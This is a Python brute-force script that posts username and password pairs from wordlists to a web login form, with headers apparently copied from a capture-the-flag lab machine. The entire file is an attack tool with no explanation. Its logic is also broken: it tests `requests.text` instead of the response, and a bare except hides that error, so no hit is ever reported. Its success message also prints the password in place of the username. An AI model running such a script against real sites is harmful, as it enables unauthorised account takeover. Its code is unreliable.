brute.py

import sys
import requests
import time

headers = {
    'Connection': 'keep-alive',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://10.10.228.124',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.74',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Referer': 'http://10.10.228.124/?login=password_incorrect',
    'Accept-Language': 'en-US,en;q=0.9',
}

url = sys.argv[1]
error_msg = sys.argv[2]

data = {
  'username': '',
  'password': ''
}

usernames = open('usernames.txt').read().split('\n')

passwords = open('passwords.txt').read().split('\n')
 
for username in usernames:
    print(username)
    data['username']=username
    for password in passwords:
        data["password"]=password
        print(f"Trying {data['username']} : {data['password']}")
        try:
            response = requests.post(url, headers=headers, data=data, verify=False)
            if error_msg not in requests.text:
                print(f"found: {data['password']} : {data['password']}")
                sys.exit()
            else:
                continue
        except:
            pass